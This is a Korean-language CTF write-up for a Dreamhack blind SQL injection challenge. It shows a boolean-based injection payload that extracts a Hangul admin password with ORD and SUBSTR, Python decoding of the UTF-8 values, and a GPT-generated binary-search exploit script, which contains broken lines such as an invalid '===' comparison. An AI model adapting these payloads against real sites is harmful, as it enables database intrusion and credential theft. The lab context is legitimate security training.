blind sql injection advanced

init.sql
- DB 테이블의 구조는 아래와 같다.
- 테이블명은 “users” 이며, 테이블 안에는 “idx, uid, upw” 컬럼이 존재한다.
- “users” 테이블에는 “admin, guest, test”를 아이디로 갖는 유저 값이 삽입되었다.
- 우리는 Blind SQLi 공격을 통해,
아스키코드/한글구조로 구성된 관리자 비밀번호를 탈취해야 한다.

- 우리는 Blind SQLi 공격을 통해,
app.py
- “app.py” 파일은 / 경로로 접근했을 때 서버와의 상호작용을 담당하는 소스다.
- 12 라인의 “template” 변수는 서버로부터 전달 받을 응답의 템플릿 양식이다.
- GET 요청을 보낼 때,
uid값을 함께 보내면 DB 에서 조회된 정보를 화면에 뿌려주는 역할을 한다.- DB에서 정보를 가져오는 부분은 29-30 라인에 해당된다.

- DB에서 정보를 가져오는 부분은 29-30 라인에 해당된다.
- 입력 값에 대해서, 별다른 필터링 로직은 적용되어 있지 않기 때문에 바로 인젝션이 가능하다.
- 근데 여기서 문제는 관리자 계정의 패스워드가 아스키 코드와 한글로 구성됐다는 점이다.
- MySQL에서는 숫자를 ASCII 코드로 표현하는 ASCII() 함수와 ASCII 문자를 10진수 값으로 표현하는 ORD 함수가 존재하는데, 이 중 ORD 함수를 사용하면 “아스키 코드 및 한글” 값을 숫자로 표현하여 비교할 수 있다.
Blind SQLi
- DB에 저장된 유효한 계정을 조회하는 경우에는 서버로부터 ”… exists” 응답이 반환된다.
- 이 점을 이용하여 블라인드 SQL 인젝션 공격을 진행할 수 있다.
- 쿼리는 아래와 같이 작성하여 공격을 진행했다.
/?uid=admin' AND ORD(SUBSTR((SELECT upw FROM users WHERE uid='admin'), 4, 1))=15506868 AND '1'='1

- 관리자 계정의 패스워드 4번째 값부터 N번째 값까지 확인한 결과는 아래와 같았다.
- (4-N) 15506868, 15381123, 15506868, 15448452, 15446144, 15446664, 15571128, 33, 63, 125
>>> decimal_list = [15506868, 15381123, 15506868, 15448452, 15446144, 15446664, 15571128, 33, 63, 125]
>>> dec_to_hex = [hex(i) for i in decimal_list]
>>> dec_to_hex
['0xec9db4', '0xeab283', '0xec9db4', '0xebb984', '0xebb080', '0xebb288', '0xed98b8', '0x21', '0x3f', '0x7d']
dec_to_hex = ['0xec9db4', '0xeab283', '0xec9db4', '0xebb984',
'0xebb080', '0xebb288', '0xed98b8', '0x21', '0x3f', '0x7d']
def hex_to_char(h):
# 정수로 변환
num = int(h, 16)
# 필요한 바이트 수 결정
# 한글은 3바이트(UTF-8), 특수문자나 ASCII는 1바이트
hex_str = h[2:] # 'ec9db4'
# hex 문자열 길이가 2의 배수가 되도록 패딩
if len(hex_str) % 2 != 0:
hex_str = '0' + hex_str
# 바이트 배열로 변환
b = bytes.fromhex(hex_str)
# UTF-8로 디코딩
try:
return b.decode('utf-8')
except:
return f"[decode error: {h}]"
result = [hex_to_char(h) for h in hex_list]
print(result)
- 출력 결과는 아래와 같다.
DH{이것이비밀번호!?}

번외
- 위 문제 풀이 당시에, 쿼리문을 작성하고 수동으로 값을 확인했는데 이를 자동으로 찾는 코드를 작성해보자
- (예시)
/?uid=admin' AND ORD(SUBSTR((SELECT upw FROM users WHERE uid='admin'), 4, 1))>15506867 AND '1'='1
- (예시)
- (1) 패스워드에 사용된 문자는 33 ~ 15571128 범위의 10진수 값으로, 값의 범위가 매우 넓어 모든 값을 전수 공격하여 블라인드 SQL 인젝션 공격을 수행하는 것은 상당히 비효율적이다.
- (2) 효과적으로 빠른 시간 내에 정답을 찾기 위해서는 이진 탐색(Binary Search)과 같은 알고리즘을 사용해 볼 수 있다.
- 아래는 이진 탐색 알고리즘을 적용한 Blind SQLi 익스플로잇 코드로, GPT를 이용하여 작성했다.
- 핵심 코드는 아래 2개로 나눌 수 있을 듯 하다.
- (1)
decode_ord_value> 10진수 값을 한글 문자로 변환하여 반환해준다. - (2) 이진 탐색을 적용하여 시간 복잡도를 O(logN) 으로 단축했다.
import requests
url = "http://host3.dreamhack.games:10880/?uid="
pwd = ""
flag = False
proxies = {
"http": "http://127.0.0.1:8888",
"https": "http://127.0.0.1:8888"
}
def decode_ord_value(val):
"""
ORD() 반환값을 기반으로 ASCII / UTF-8 자동 디코딩
"""
# 1바이트 ASCII
if val <= 0x7F:
return chr(val)
# 2바이트 UTF-8 (rare)
elif val <= 0xFFFF:
# 2바이트 분해
b1 = (val >> 8) & 0xFF
b2 = val & 0xFF
return bytes([b1, b2]).decode("utf-8", errors="replace")
# 3바이트 UTF-8 (한글 대부분)
elif val <= 0xFFFFFF:
b1 = (val >> 16) & 0xFF
b2 = (val >> 8) & 0xFF
b3 = val & 0xFF
return bytes([b1, b2, b3]).decode("utf-8", errors="replace")
# 4바이트 UTF-8
elif val <= 0xFFFFFFFF:
b1 = (val >> 24) & 0xFF
b2 = (val >> 16) & 0xFF
b3 = (val >> 8) & 0xFF
b4 = val & 0xFF
return bytes([b1, b2, b3, b4]).decode("utf-8", errors="replace")
return " " # fallback
for i in range(1, 50):
low = 1
high = 20000000 # UTF-8 한글도 포함
while low <= high:
mid = (low + high) // 2
payload = (
f"admin' AND (ORD(SUBSTR((SELECT upw FROM users WHERE uid='admin'),"
f"{i},1))>{mid}) AND '1'='1"
)
r = requests.get(url + payload, proxies=proxies, verify=False)
if "exists" in r.text:
low = mid + 1
else:
high = mid - 1
if low > high:
real_val = high + 1 # 실제 문자코드 확정
char = decode_ord_value(real_val)
pwd += char
print(f"[+] {i}번째 문자 → 코드:{real_val} → '{char}'")
if char === "}":
flag = True
break
# 종료 조건: "}" 문자 (플래그 종료)
if flag:
break
print("\n[+] 최종 패스워드:", pwd)- 동일하게 플래그 값을 획득할 수 있다.

🐛.. 🐛.. 🐛..